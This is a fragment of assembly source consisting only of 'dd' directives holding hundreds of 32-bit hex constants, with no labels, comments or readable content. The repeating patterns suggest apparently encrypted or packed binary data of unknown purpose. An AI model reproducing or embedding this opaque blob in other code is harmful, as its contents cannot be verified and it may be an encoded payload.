dd 0E74A6475h, 6EA6C4FAh, 625531Dh, 2802E994h, 63F835E4h
dd 25883215h, 1B485FB5h, 6AA23D74h, 69113215h, 6688349Ch
dd 66C93D15h, 0A4223215h, 7E93211h, 668839FCh, 52C23415h
dd 6C307B39h, 0BCAC3B8Dh, 16AC36D2h, 915FEA27h, 0D9751609h
dd 8236FF85h, 62AC4E24h, 0DD22524Ah, 0A8A96227h, 4255F574h
dd 0D5B9B611h, 4208B330h, 4A038F11h, 39AB605Dh, 67EBCB1Ah
dd 3C4C1641h, 62067694h, 48568CF1h, 2C248AE0h, 0D8127A37h
dd 27CE4910h, 264FC23Ch, 53479138h, 0EBC9CA13h, 618A7C58h
dd 9AF0CDECh, 6680B31Ah, 0E04B3215h, 66223217h, 6715375h
dd 0D42AE494h, 0E25721Bh, 662244C7h, 0DF353E9Ch, 66883215h
dd 67CEC314h, 8F1ECE4Ch, 677EB61Ah, 6E613215h, 93443215h
dd 53368074h, 8F296C07h, 6688321Ch, 875C566Dh, 0C6A3F61Ch
dd 69F90EEEh, 66895291h, 6978C715h, 666EB61Ah, 5AE83215h
dd 8A0C3DD8h, 69443214h, 66223394h, 8D2DCA15h, 64A0B61Ah
dd 0EF4B3215h, 66223214h, 0E77752E9h, 0E7A720E7h, 5452EDDFh
dd 9343536Ah, 719A3DD6h, 6883215h, 68AD6D44h, 15223215h
dd 6B81E0ACh, 0FE6DCC02h, 0C0999BBFh, 0B14A53F8h, 0EF11326Ah
dd 67301611h, 67443215h, 3E3AB8E5h, 73953DEDh, 8F883215h
dd 66443205h, 1DE7C515h, 0F7BA65EDh, 4DD8AA4Eh, 0B2D1C9EFh
dd 19916144h, 0BB395DA0h
dd 3F63124Eh, 664ADA75h, 0A903215h, 865CF262h, 43E43AAAh
dd 51CB4891h, 8D9D544Ch, 9D915330h, 0E50D3D95h, 69BBCDEAh
dd 6622359Dh, 0D91E5215h, 73982CCh, 4270B343h, 26CA0EE8h
dd 0E7352E9Eh, 668836D1h, 9BB7B315h, 8F62DA29h, 66113201h
dd 0BA94399h, 79A67ED6h, 92DBE00Dh, 0B2338BB6h, 1856B0FBh
dd 0ADFD6340h, 277D5D3Bh, 7315FB94h, 8F495B1Dh, 0E795C510h
dd 62A435E4h, 3FDCBBE9h, 9FD5D914h, 6645B21Ah, 0E7DB3215h
dd 661136F9h, 428CBB15h, 664430ADh, 65D23315h, 77F86A0Dh
dd 0F2883215h, 92547E2Ch, 0EB04391Dh, 2C42B21Bh, 0B8E2BDE2h
dd 664494FCh, 0DA5215h, 13B2D594h, 67FECD74h, 0E5602E9Eh
dd 0E5DB36D1h, 0E21EC9EEh, 668832E0h, 13C75AECh, 52AB3215h
dd 8F716931h, 6688321Eh, 24CAF307h, 11C26742h, 8FC09FC1h
dd 66883206h, 0AF2035A1h, 7BA90C5Eh, 0B271D703h, 0D10A8381h
dd 7EA7F7Bh, 66238847h, 94103215h, 66888A45h, 0B6453215h
dd 3C7A2A16h, 66113CFCh, 31661115h, 2EE1F444h, 585DE7F8h
dd 69F49342h, 66883A9Ah, 64C13D15h, 6223215h, 63AE6574h
dd 0E7883215h, 0D97C9FD6h, 0E7D9333Ah, 0D9299FFEh, 6E616D3Ah
dd 0C443215h, 6C50BEAFh, 8FCD9EEDh, 9977CC53h, 6641DA75h
dd 97E13215h, 3527396Dh, 69E9684Bh, 6456CA3h, 0AC90EC94h
dd 0E71E445Fh, 66883213h, 6644BB1Ah, 69433215h, 66112597h
dd 669ADB15h, 0B4863215h, 4211B5Eh, 0B779DF38h, 0ED36B816h
dd 9D1AD588h, 690CD996h, 99ECCB91h, 670A3DEAh, 93443215h
dd 66223EFCh, 1891CA15h, 0E387CC14h, 99BBCFF7h, 9AC3DBE0h
dd 6971CDEAh, 66883097h, 691A6215h, 6622309Eh, 7C2B915h
dd 0E76BBB46h, 664436D6h, 62C9B115h, 3A352E92h, 6AC069Ch
dd 447FDB94h, 76CB43D5h, 30113215h, 977B6937h, 4E7B2C1Dh
dd 8B04E4Dh, 706C557h, 0E769BB44h, 664436D4h, 62CBB115h
dd 3A353E92h, 8FAC3E9Ch, 66443201h, 0F4FE1967h, 395F7F9Bh
dd 4D235399h, 0C24460C2h, 21F5B4AEh, 0E7F0BB44h, 668836D4h
dd 62ADB315h, 0E1223215h, 0EF4D1619h, 8EE81609h, 66443201h
dd 2B38CDAFh, 0E3E29DB7h, 9D4CE913h, 7A66431Ah, 7E274EB4h
dd 0EEDFB373h, 94096A1Bh, 12291EE7h, 3D3D5A74h, 5A983215h
dd 6F0C3D31h, 6443215h, 0D89D5375h, 75586BFh, 0EE87F224h
dd 66443214h, 0EC2D9EE9h, 66113201h, 2F6FB375h, 8E0F4F0Dh
dd 66223213h, 0FE8238Eh, 7D2B33Ch, 662C767Dh, 422EBB15h
dd 8D99F79Dh, 0FBE0CA4Ch, 0EF44324Bh, 96931619h, 8F48F935h
dd 6688321Ch, 4D4C2612h, 7A5A3E47h, 16EAB2C2h, 60F4B61Ah
dd 5ABD3215h, 8AA63D1Ah, 8F113215h, 66883206h, 55054217h
dd 3E57095Dh, 16E1BBD6h, 0F3D8D0DAh, 5AE6EE4Eh, 96A63DFCh
dd 9311321Eh, 0E287D929h, 6644220Bh, 6623BD1Ah, 5AED3215h
dd 1B0C3DF6h, 93443211h, 0E22DD029h, 6611239Bh, 42B4B9EDh
dd 0E7A5BB44h, 662236D4h, 62D0B315h, 0E1883215h, 9F181619h
dd 30062E9Eh, 0A090D49Ch, 66883211h, 0E140F496h, 697E1621h
dd 6611219Ah, 6686DB15h, 0C6EE3215h, 0F958C6DFh, 2A3B6064h
dd 1DBB88CEh, 33603E9Eh, 0A3A3D79Ch, 66113211h, 0E18CF796h
dd 9F181639h, 662234FCh, 0B29BE315h, 0EDD8CB23h, 0EF151621h
dd 62E3B3F4h, 0E5113215h, 6A0F36D4h, 0E74B6E31h, 6622321Dh
dd 6613B21Ah, 7E83215h, 79CD3DD6h, 6223215h, 661121FCh
dd 90147A15h, 0C407E85Ah, 58D98780h, 7A46612Eh, 3C7CD8D1h
dd 0B596B373h, 0A1D753A8h, 0C9CCB790h, 66883412h, 6649DB15h
dd 9FF03215h, 44A891E1h, 0B80ADCC1h, 0EAF2A6Bh, 662209D9h
dd 0DF353E9Ch, 66883215h, 7FCEC314h, 0E72D524Ch, 66113210h
dd 5B51B373h, 0D2145320h, 63C6F2C2h, 98EFC695h, 0E644CCD9h
dd 85641EF9h, 0E506369Eh, 0E6E436D1h, 0E387B2EEh, 99BBCCECh
dd 662239FCh, 24BB5115h, 4E1F32CEh, 65010375h, 99DD8A45h
dd 0A010CDEAh, 669CDB4Dh, 0ECC13215h, 9CE69E15h, 0D2EA49ABh
dd 3A035D47h, 63A88455h, 0E3A9601Dh, 61B91E4Ch, 6687B11Ah
dd 6CAD3215h, 3B223215h, 45B26ACh, 0F7D2083Bh, 95C552C1h
dd 5845DD4Ch, 9FE48973h, 5F1DB974h, 6439A33h, 73F9B344h
dd 392C373Eh, 668821FDh, 0B74B6915h, 75C6ED4Dh, 0B9F02424h
dd 911B6622h, 36EE6BCBh, 77A6D44h, 420DB943h, 668CF694h
dd 31243215h, 662222FDh, 0EF6F0315h, 32CC0A70h, 75E45B1Bh
dd 8F5F3358h, 69486812h, 6688399Dh, 6642DB15h, 0F203215h
dd 0FA827999h, 6B755A74h, 52CD3215h, 66248C31h, 95103215h
dd 69023D4Bh, 8F443215h, 6622321Fh, 7E7AD5F5h, 0C5804E5Bh
dd 8AC5BCF8h, 66223211h, 0DC35269Ch, 66883217h, 7C47C014h
dd 662EDB4Fh, 0EB343215h, 9B1D089Eh, 0A271CCF2h, 0BE19FD38h
dd 663FB01Ah, 8FE83215h, 6644321Bh, 6700C6E7h, 51313D51h
dd 4491B33Ah, 0ED227161h, 0BC1953C4h, 9BDEB41Ah, 0E887CDEAh
dd 6644321Dh, 6620B41Ah, 7713215h, 10F8C43h, 0E702049Dh
dd 3911A4FBh, 0DCE7B304h, 0E79ABE71h, 0AF4E1EDBh, 0A8E4B33Eh
dd 4F1488ECh, 9DA16CE6h, 3F7EF194h, 374277BDh, 661121FCh
dd 0DB176415h, 0A4972B15h, 0A4C06EDh, 813FAB06h, 1F64B88Ch
dd 0D14B524Dh, 6633DAE4h, 91C23215h, 49AA908Bh, 0C9296797h
dd 0DDC63521h, 3CA7CDD3h, 8FE85374h, 66443219h, 0B45076BBh
dd 30BC714Eh, 0E5878F49h, 76BFF95h, 66248F40h, 8D383215h
dd 0E5AC1E9Eh, 61AD36D1h, 7E223215h, 4D89FE5Ah, 6961A057h
dd 9A443215h, 138335F2h, 294C7913h, 0D7C571AEh, 0CB22AA6Ch
dd 6623B91Ah, 0ED3215h, 6683DBBEh, 0E9A53215h, 4A344A1h
dd 0CE76DCE6h, 3EDB62F7h, 0E5602E9Eh, 0E72D36D1h, 6611321Dh
dd 668AB01Ah, 7243215h, 0DFE5B375h, 61B87F7h, 6688BD1Ah
dd 7253215h, 669052BEh, 66113CFCh, 3F594C15h, 89029AFEh
dd 707A9079h, 7655A3Fh, 668C8D42h, 88C53215h, 22E255C4h
dd 0A090CC14h, 224855C4h, 69B1524Ah, 66223194h, 0FECCB215h
dd 42B4BB74h, 6657B71Ah, 68CB3215h, 95113215h, 810C428Ah
dd 0D78EC50Ah, 82118FEDh, 4265BBF2h, 6687DB19h, 1B133215h
dd 7AFEEFFAh, 44A16E0Eh, 0B2985EB0h, 0D3CDC711h, 618A00DCh
dd 661123FCh, 6B2DFF15h, 0B442F84Fh, 63A26292h, 63757151h
dd 0E3873865h, 6644321Dh, 6620B41Ah, 7713215h, 37AC0E9Eh
dd 0A7C5D39Ch, 66223211h, 6615F394h, 6A0F3215h, 6BAD6E31h
dd 1B223215h, 24F1E84Fh, 0CD74ACFCh, 6BAC0291h, 37062E9Eh
dd 0A790D39Ch, 66883211h, 0E140F396h, 9E7E1619h, 35353E9Eh
dd 0A509D19Ch, 66443211h, 0E126F196h, 694D1609h, 6688399Bh
dd 6642DB15h, 0C0643215h, 42AD50D5h, 38AC06EAh, 9340F696h
dd 0E7C1BB46h, 661136D6h, 624BB115h, 0ED602E92h, 6ACB1631h
dd 0C113215h, 0F511BC33h, 0FF18A0BFh, 8FD08AF4h, 99EEEC20h
dd 668820FCh, 9986415h, 5B655660h, 2F085473h, 3EBF7110h
dd 69542180h, 66223598h, 679B3D15h, 9F883215h, 0BBC1B7D2h
dd 662035BAh, 0E81E3215h, 66883214h, 93CD67E0h, 4AA9D99Ch
dd 62D5B131h, 668821FCh, 69C37515h, 57FBF758h, 671B0769h
dd 0FB154B89h, 705BF28Ch, 8F2C841Ah, 66113206h, 0DF8BE35h
dd 0B3B2C0D6h, 0EA10A5DFh, 0C1F8EF7Fh, 0E6D47090h, 0E54BB2ECh
dd 66223229h, 0A2AE65ECh
dd 4FC2BC60h, 0AD456DEEh, 13E6F194h, 0EB1E789Bh, 6688321Bh
dd 66443BFCh, 0C9778615h, 0EEA15079h, 0D8DE50B3h, 4AAF4A45h
dd 0E193F494h, 9510E101h, 0F161C74Bh, 9A443215h, 0B61D8447h
dd 0F9A162F3h, 0E8A49A21h, 0A04C2821h, 66CCB24Dh, 8F4BC33Dh
dd 66883210h, 40DA6101h, 6ADD63EFh, 4205C531h, 6685DB4Ch
dd 0D9863215h, 44B1632Fh, 0AE7AC563h, 93E807A7h, 0ACFC6246h
dd 2653076Eh, 6319DAD4h, 9906F991h, 471CF19Ch, 0E12D69CCh
dd 6611321Dh, 667CB275h, 711D795h, 662223FCh, 7531F915h
dd 2E5200D8h, 0BEF32E4Dh, 6A9214D1h, 8D900F43h, 36C71172h
dd 0DE14F93Ch, 366D1172h, 6949F114h, 66883B97h, 0E7225215h
dd 6105CFEh, 0E39A5374h, 61201E4Ch, 664426FCh, 2E67E615h
dd 114E8D18h, 4518DAA8h, 6BB12D2h, 0EF34DBBh, 5F84B9D0h
dd 698F9A33h, 66443F93h, 0E92D5215h, 66113215h, 0A748B373h
dd 0DBC753C1h, 618A2AB4h, 24953D14h, 6883211h, 3616D9A2h
dd 5F436B4Bh, 54933DD6h, 69883211h, 66443E95h, 60A23D15h
dd 69113215h, 6688329Dh, 69970B15h, 99DBC697h, 679E3DEAh
dd 93883215h, 66403EFCh, 75A33D15h, 8F113215h, 6688321Bh
dd 31855F2Ah, 5A21F15Fh, 0ECD9C191h, 0E34F2360h, 61EBEF90h
dd 66223217h, 6601BA1Ah, 0EDE83215h, 6643DBEEh, 74973215h
dd 717B7CCBh, 8A0B5390h, 4250BB11h, 0B5ABC09Ch, 0D01ECB4Fh
dd 9103521Bh, 6644B71Ah, 8F433215h, 66113218h, 0F9EC7FE9h
dd 0AC15C1AEh, 9AA7F35Eh, 0E6E8B26Dh, 66D5B11Ah, 0E7BC3215h
dd 3D22F3D6h, 2AD2B302h, 67991F30h, 2AAFB3DEh, 0E7331F30h
dd 3D11F3FEh, 78083D02h, 6443215h, 662223FCh, 58C8DA15h
dd 0C170D91Ch, 0CE3547FFh, 437F4BC9h, 0BF908B3Eh, 539308AEh
dd 99FD6374h, 4FDDCDEAh, 0ED716BDEh, 63023DCAh, 443215h
dd 2BE4F294h, 6670DB74h, 7D3215h, 44F36147h, 980A13A3h
dd 0E01A4Eh, 0E3E0CE4Fh, 0EF443245h, 7AD51619h, 35ED6B31h
dd 6688CDAEh, 0ED9D1315h, 0A2A11609h, 769B3D11h, 8F883215h
dd 6644321Eh, 3CB6B543h, 76A241FEh, 342DA980h, 0B20090AFh
dd 3CF11B60h, 0A590F93Ch, 135C76B7h, 664438FCh, 9D00015h
dd 0E26E893Eh, 0EDB21381h, 0CE686B90h, 69CA5212h, 0DA113215h
dd 0C37E3019h, 61B7E3EDh, 0C1EF9428h, 0ED7762BCh, 4A3268EFh
dd 701E5A7h, 401BA79Eh, 6DF835BDh, 25883215h, 4F5B4BEBh
dd 7204C2BAh, 0DB92CD0Ch, 61202AB4h, 0FCC03D14h, 8F223217h
dd 66113218h, 28812942h, 5E3129B6h, 4AFDA2E1h, 69C9095Fh
dd 66881F97h, 6654DB15h, 83063215h, 0D9BCF053h, 0FAEEF12Ah
dd 0D0E0BFA1h, 0B51BCFCDh, 9E2EB41Ah, 6E8CDEAh, 39B18D73h
dd 34C0CCAFh, 0D11E5355h, 0A0B953CCh, 0A075C224h, 0ED2DA45Dh
dd 6611320Eh, 669DB71Ah, 76AD3215h, 2223215h, 0DC17D048h
dd 99453C25h, 0DF0D77A2h, 0E7BBD4CDh, 661136F9h, 429CBB15h
dd 0A4C45BA7h, 6EC8F2F2h, 0E6F8F895h, 8C08EEF7h, 3C94BAACh
dd 662223FCh, 12108015h, 3B31866Dh, 0FA0857F0h, 0DA5F20CFh
dd 6BBAC3Ch, 654FB375h, 374E518Dh, 8F43534Fh, 6611321Dh
dd 76DA358h, 0E544B597h, 66228847h, 8C903215h, 265E57DAh
dd 0A4C5C014h, 26F457DAh, 8F4B389Fh, 6688321Dh, 74D40330h
dd 0B460D9FEh, 98CB8546h, 3C6FB2D2h, 9888F595h, 0F09763DAh
dd 0B3E7FFEBh, 0E603F795h, 897462F8h, 3DDABA4Ch, 364254E0h
dd 0E73B40A1h, 461CD13Dh, 697954CCh, 6611339Fh, 0AE80C715h
dd 664439FCh, 0C8BBA115h, 0FF7B0203h, 0BC436C22h, 6CCD3DBFh
dd 6223215h, 0CE9D2FABh, 0DD68B263h, 0F7FA6474h, 9149EB63h
dd 3CD7B3C3h, 4F5B3F69h, 9D6D6CE6h, 63EAF194h, 0E91E5521h
dd 66883212h, 6645BE1Ah, 0EDB3215h, 66117083h, 0DCAC269Ch
dd 66443211h, 678E13Ch, 7C8B8E9h, 62036145h, 6280B131h
dd 6ACBCE4Eh, 1D113215h, 65E40CE7h, 1AE8AA22h, 0CD9E07F3h
dd 6614B61Ah, 6E83215h, 3525CB74h, 662230AEh, 0A1FFB315h
dd 6794921Bh, 0A182B3CBh, 3D3E921Bh, 661122FCh, 790B2715h
dd 10042EA6h, 44A1B050h, 60581A93h, 0AF3DBB82h, 69439A27h
dd 66223392h, 0E3D6C715h, 61202AB4h, 66443214h, 6628B51Ah
dd 0DE713215h, 0C3612C8h, 7B3B973h, 664D557Dh, 420DBB15h
dd 0A509D19Ch, 66443211h, 0E126F196h, 694D1609h, 66883393h
dd 7ACFC715h, 81AB6531h, 6615F594h, 0A10B3215h, 4278B511h
dd 4A995249h, 76223C1h, 34AC3E9Eh, 0A4C5D09Ch, 66223211h
dd 0E115F096h, 8FD41601h, 6644321Fh, 0AE61FA37h, 0F239396Fh
dd 0EFD91CB0h, 62FF61F4h, 67223215h, 0A79269CCh, 4284B511h
dd 8F245249h, 66223204h, 0B36FD759h, 62304197h, 0AD2C15A8h
dd 2ED8F4E9h, 0E77753EDh, 777DDCDh, 0E7A7BB46h, 662236D6h
dd 62D2B115h, 0EDAC2E92h, 0E7241631h, 18E97CCDh, 8F70CA43h
dd 9977EA74h, 0EDFF61ECh, 917F8D55h, 56D2B3C6h, 0E7F0351Dh
dd 0CE5987D6h, 55C1B354h, 0E7685D30h, 9AD22FEh, 3D9A1B4Ch
dd 8F9763EDh, 0EEFEBA46h, 93D169EDh, 67C33DBFh, 9A223215h
dd 9A86343h, 67A06206h, 3F401659h, 754D1F4Dh, 8F711A45h
dd 66883204h, 1C9C1FBAh, 64513EAEh, 0F0E00B36h, 807F39E2h
dd 4CA9B29Bh, 4F271F74h, 9E380228h, 4F8D8847h, 0B6450228h
dd 6631DB4Fh, 0FAD53215h, 0CDFE7C87h, 27BB7593h, 52D05B35h
dd 9141C66Dh, 68605200h, 0EE443215h, 0EFBE036Ch, 4434B8Eh
dd 0E1A0D6B3h, 3FBFB913h, 67E3D894h, 0E77034FCh, 668836F9h
dd 4250BB15h, 662236AFh, 3CC11B15h, 0BF3F3D75h, 664423FCh
dd 5FF58A15h, 17564A28h, 0E069ADFFh, 0C3BC3B38h, 64375DFh
dd 74F81DA7h, 6883215h, 97535419h, 8AD65611h, 8E14BE56h
dd 0DB647C9Dh, 8FEF530Ah, 66223201h, 9C00B8E9h, 0EBE5616Ch
dd 58BD9ED6h, 0F5D4EA3Ch, 56079C8Ch, 0E76DBB40h, 664436D0h
dd 62E7B115h, 57351E26h, 4ABB1639h, 0EDBC6E31h, 0EF731609h
dd 62D0B3F4h, 0E7883215h, 664436D4h, 422EB515h, 52EECE49h
dd 0A2096B31h, 66443211h, 0A7953D75h, 52EEC774h, 0A2096C31h
dd 66443211h, 6623B51Ah, 35E43215h, 0DCDAD19Ch, 66443211h
dd 0E578E114h, 7A9636D6h, 8F7D6E31h, 99BBE848h, 662235FCh
dd 43C25815h, 335E0594h, 74AC5275h, 0B8223215h, 1084BF22h
dd 0C7227255h, 3A9E1CD7h, 0D0CD02D4h, 0CA96D94h, 79B6406h
dd 6640BF1Ah, 0DF443215h, 0A1702EA8h, 0C955B790h, 66443712h
dd 6631DB15h, 3FAC3215h, 324FB55Ah, 89F3EBB6h, 1E46EA42h
dd 2751CF11h, 3EDE6276h, 8F1CF19Ch, 6622321Ah, 463AF4CAh
dd 77724B26h, 40E04F5Fh, 34B70385h, 661136AFh, 0ED5B3315h
dd 0A2C51601h, 66223211h, 6605DA75h, 837B3215h, 7D3C53AEh
dd 0E9ADF0DDh, 0FA83D8E7h, 0DDBB4835h, 6FAD7432h, 12223215h
dd 0ECA50118h, 9B6869ACh, 49ABB34Eh, 714BD6Fh, 3FAA6145h
dd 0DED5AA4Fh, 3BDC684Ch, 6779EA24h, 3E0931E5h, 6685BA1Ah
dd 0E7243215h, 0EBAED9E7h, 0A1FF8B6Eh, 0EDE92688h, 0CE686B90h
dd 6AAE3D12h, 8F113215h, 66883212h, 9DB7B7DBh, 0EDBACF99h
dd 0CE370B80h, 0DBDDCA12h, 99BBCDEAh, 67FDC14h, 661137FDh
dd 0D26C9015h, 0E64B5EE0h, 66223215h, 0DB92534Ah, 61203A70h
dd 0DFC03D14h, 6223213h, 661EDBE9h, 27BA3215h, 74312788h
dd 17A3658Bh, 8028AC09h
dd 0BEB3537Dh, 666CB01Ah, 0EE2D3215h, 66113219h, 668EB01Ah
dd 0EE4B3215h, 66223215h, 0E01EE82Eh, 66883329h, 664CB61Ah
dd 0E82D3215h, 66113217h, 0D3015375h, 61EC00DCh, 8EE48075h
dd 66113219h, 51DF16C8h, 84817E49h, 0B0E73A4Bh, 3EDEB973h
dd 0E315B974h, 8F439DC8h, 6622321Eh, 73C36E48h, 3FC42281h
dd 0E77ADC8Dh, 0DC2E1679h, 0E76F3222h, 9A841651h, 6702DB17h
dd 0E72E1649h, 9A1D1679h, 0E7CEDB17h, 0DC481651h, 9E5C3222h
dd 6618BD1Ah, 0DCE83215h, 65B5C04Bh, 8F43CC9Eh, 66113411h
dd 42BCCDECh, 6280B34Ah, 8F223215h, 66113207h, 37DEAA24h
dd 4B6C5A2h, 0FFE00813h, 0D3D7D34Ah, 0E34FD17Bh, 61EC3A70h
dd 66223214h, 661DB01Ah, 0DCE83215h, 51B83637h, 0D8E1B373h
dd 52EE5369h, 0A2096931h, 66443211h, 662238FCh, 0DF594315h
dd 0FB63BE1Ch, 0ED83D792h, 0EF751619h, 62D6B3F2h, 0E5883215h
dd 5AC336D2h, 0E92D6E31h, 66113214h, 42BCCDE9h, 6280B34Bh
dd 69223215h, 66113398h, 0EFD8CB15h, 664037F5h, 0A6A13215h
dd 12EE6211h, 0E9D03631h, 8F181611h, 6622321Ah, 0AB037831h
dd 13F6B7CEh, 994C9AB8h, 8F4A7F4Dh, 99EEE670h, 668839FCh
dd 1E15E315h, 0D50DEBFEh, 87770C39h, 7E298F96h, 694535BDh
dd 66270591h, 6BF85215h, 0F0883215h, 3BE99AEDh, 8A808A24h
dd 0C06EBF44h, 0FF6EF394h, 9F254190h, 4A7BAF3Eh, 75F835BDh
dd 3F883215h, 0D58285FFh, 582B1900h, 4925C5ACh, 0BA8DFAB1h
dd 0EBCF15B1h, 618A1C40h, 6610B31Ah, 36743215h, 240E76ADh
dd 3EE33334h, 8F90EB14h, 47CA7851h, 66443BFCh, 0BF34CB15h
dd 2DFFFDB9h, 0D8DE0F10h, 0CED6DC0h, 6ECCB353h, 0E772C73Fh
dd 0D5CF60FBh, 0D682B324h, 0E75DAC2Fh, 140B0DFBh, 387933F3h
dd 8FC5CB3Ch, 80F3CF8h, 66113AFCh, 2B73815h, 24E17294h
dd 639961A9h, 0E7113215h, 0ED8061D4h, 0E79D1B17h, 0ED2A61FCh
dd 6DF86917h, 8D883215h, 9E12D31Ah, 401E37FDh, 8A923D2Dh
dd 4284BB11h, 0AECCDBA4h, 662CDB4Ch, 0AC823215h, 504EA2D0h
dd 120A79Eh, 0EB1EE81Bh, 0DCE452BFh, 2C7540F3h, 578C0374h
dd 69EA03D4h, 66113693h, 7E85215h, 6EFC774h, 95A386A3h
dd 3BEDF1CAh, 84016074h, 6640F094h, 0A4A13215h, 4205B511h
dd 6AC169Eh, 90298A73h, 662235FCh, 0D590BB15h, 8E818FCBh
dd 4258B974h, 0E7C7BB40h, 661136D0h, 624DB315h, 0E1443215h
dd 67E1639h, 0EE1E20A3h, 66883215h, 0EC4B5274h, 66223217h
dd 9970CB9Fh, 0E5D11621h, 76AD36D1h, 0CD223215h, 0FC40D1F0h
dd 0BE4BAB0Bh, 94C76055h, 99641CA3h, 0E74F1621h, 668836D1h
dd 0E7225215h, 0AA7ADEh, 74228ABh, 336FBB42h, 664436A8h
dd 3BCD3315h, 0E115F596h, 8FD41629h, 6644321Fh, 0DDCB8B7Dh
dd 42F15E40h, 6861F53Dh, 69BBCDC3h, 66222B9Bh, 68F95215h
dd 0BA883215h, 7C9C7FDDh, 0D127B785h, 0EA692E5Eh, 0EDEE683Dh
dd 0E38353E2h, 618DEF90h, 66113217h, 0F43CCA75h, 4E365A74h
dd 4AAB3215h, 0EFE4BB31h, 8F746FFEh, 66443213h, 0A6D65ABFh
dd 0D01E32B5h, 0E487C71Bh, 66443214h, 0E6DBB2E0h, 6663B11Ah
dd 0E77D3215h, 660358FEh, 0D3C9B304h, 670BF430h, 0D34BB3DEh
dd 0E75EF430h, 666558D6h, 61923D04h, 69883215h, 66443396h
dd 0DB77CB15h, 66113214h, 6D5D914h, 0E722E19Eh, 75F59FCh
dd 6611D0FCh, 7B063D15h, 69443215h, 6622259Dh, 6603DB15h
dd 0E4123215h, 0A90439C7h, 505CE627h, 0B52C50E6h, 0D9ACF733h
dd 63C13D75h, 0DE223215h, 4AF79737h, 75A8D1Ah, 99F36173h
dd 4E05DB95h, 41D0B2ECh, 75616973h, 1443215h, 0E5A46D5Dh
dd 3FFE8B13h, 0FFC350BCh, 98A0AE63h, 924A9181h, 0EF113229h
dd 66321601h, 4F443215h, 3CF3BBDFh, 661121FCh, 0C68AEC15h
dd 0C500D7E7h, 9978A29Ch, 173E15EFh, 37222257h, 6649BC1Ah
dd 6ECB3215h, 53113215h, 7BA9B3B2h, 36E95D71h, 66DD8946h
dd 0BE983215h, 3E49134Eh, 664435FCh, 0E39AE815h, 966C4CA8h
dd 6A308B44h, 87C5786Bh, 3D072326h, 0B716D3D4h, 0A79B3F4h
dd 276D601Dh, 4CB2C394h, 0AD1049EFh, 0E7431B4Ch, 0CE56CFFEh
dd 745263h, 3F8C1BAFh, 0EDE9BBA3h, 0CE686B90h, 6627DB12h
dd 265C3215h, 9F97BF64h, 407DA79Eh, 0E92D35BDh, 6611321Dh
dd 8B8575h, 7D926ACh, 99D937FCh, 0E3D6CAEAh, 6127EF90h
dd 66443217h, 662EBF1Ah, 0E11E3215h, 66883213h, 6644B41Ah
dd 37DB3215h, 0E740C39Ch, 56361611h, 0E71F0865h, 16128CFEh
dd 9F716B2Fh, 736F895h, 664437FCh, 0B72AD815h, 0D01EB6B6h
dd 669BDB1Bh, 8A9F3215h, 5B1BE5ADh, 8C60756Dh, 4B0ED38Ah
dd 0ACE1CA1Ch, 9FA2C752h, 0F8923D95h, 6883215h, 6647B61Ah
dd 0ED443215h, 6603DBDBh, 0EDFF3215h, 0CEA2CB51h, 5D668F6Eh
dd 0EEC02DA4h, 78E3CF24h, 0EFFB6574h, 67693979h, 0AD106DEEh
dd 0A01D994h, 0E84B791Eh, 66223219h, 6617B31Ah, 0E5873215h
dd 66443215h, 6625DA75h, 1C013215h, 0CF0A896h, 6656DB04h
dd 43A53215h, 0CAE8E818h, 20EA80FAh, 0FD7E9B54h, 23B7C0E5h
dd 6600DB4Dh, 0B82F3215h, 0BAC81E5Ch, 2B3DCF28h, 14493C40h
dd 745058Bh, 0A0C5C192h, 66223214h, 0E11EC192h, 66883214h
dd 6613DBE0h, 6DE3215h, 558E8973h, 993C6274h, 4ECBF395h
dd 0E9CBB2F4h, 58AA524Dh, 7BE0A6Fh, 66448946h, 0AD0B3215h
dd 9A4A6B46h, 793062E0h, 35315221h, 616D2AEh, 3DC90360h
dd 9FD0F334h, 3CFE8D42h, 9D0B1FE3h, 0E7DA1B4Ah, 90D288D6h
dd 98CF5238h, 66A73D46h, 3D113215h, 3F0DB974h, 8F439A39h
dd 6622321Eh, 0F0D4FAF1h, 3A473876h, 0ED9295B1h, 0CE040B80h
dd 759E3D12h, 8F883215h, 6644321Bh, 0C53337B2h, 0DBB6E351h
dd 5F1218CDh, 0E5B8C48Fh, 0CE3A93A8h, 0E21E3312h, 9977C514h
dd 6655DB75h, 10343215h, 676E6C56h, 1A2C11AAh, 5B86842Bh
dd 935AEF66h, 69C90974h, 66883897h, 0B57DCA15h, 8A91B41Ah
dd 34E8CDEAh, 668833AFh, 3C921B15h, 66223BFCh, 66D015h
dd 8DC73FCDh, 0E74B4B83h, 6622321Dh, 6613BC1Ah, 7E83215h
dd 0EF40DE96h, 52A31621h, 0BE6A7B31h, 97096B36h, 459C495Ch
dd 0D6E3B3E9h, 0E7005F23h, 7C8D68FCh, 0E7BD1B24h, 7C2768D4h
dd 0D6F8B324h, 69995F23h, 66442396h, 662EDB15h, 4E063215h
dd 7754F2F5h, 0FD416321h, 0D975BBE0h, 66113210h, 5A03CB3Ch
dd 6280B331h, 69223215h, 66113E94h, 600A3D15h, 69443215h
dd 66223292h, 57A26115h, 985A8447h, 0C18AB2DBh, 80A2E4E3h
dd 3EDFB204h, 0EE28DC95h, 0BE4468E5h, 6942524Eh, 3E41E5AAh
dd 7808374h, 0AE75CBBFh, 0AE13F324h, 661DBC1Ah, 0E9873215h
dd 66443213h, 6622BD1Ah, 69BA3215h, 66883E9Fh, 6643DB15h
dd 1EBF3215h, 1D498F32h, 0B737DB98h, 60ADCDEAh, 4C223215h
dd 449DB82Ch, 663163FCh, 0E7443215h, 3334E5FCh, 0E7E0337Eh
dd 339EE5D4h, 3F45B87Eh, 0DA9B5475h, 0B79A5448h, 67063D74h
dd 93443215h, 0E22DDA29h, 66113258h, 668820FCh, 0F3EEDE15h
dd 6A2FDD78h, 0D8D1C088h, 3264C5F4h, 31295363h, 6A078F40h
dd 8BD01A27h, 915DC517h, 4981B3C8h, 0A7658351h, 939031F8h
dd 6CBF8AF2h, 0EF19DD9Ch, 8FDA6DEDh, 66113370h, 0D187C775h
dd 0E14B53E7h, 66223214h, 859861E9h, 668CF194h, 8DC73215h
dd 423EB511h, 420DBB49h
dd 940160E9h, 4268B347h, 20D64FC3h, 0B0D2B34Eh, 3CCEC668h
dd 67FE60EDh, 67223215h, 0ED0B31E7h, 0A20B1601h, 8EF45211h
dd 6626BB1Ah, 0DC773215h, 0E5E9FBA8h, 52CD36F9h, 66278C31h
dd 95103215h, 6686DB4Bh, 216A3215h, 6BFBDB82h, 0CF618853h
dd 90BF13CEh, 0A6D78047h, 8CA231FFh, 0B399633Fh, 3CD1DA9Dh
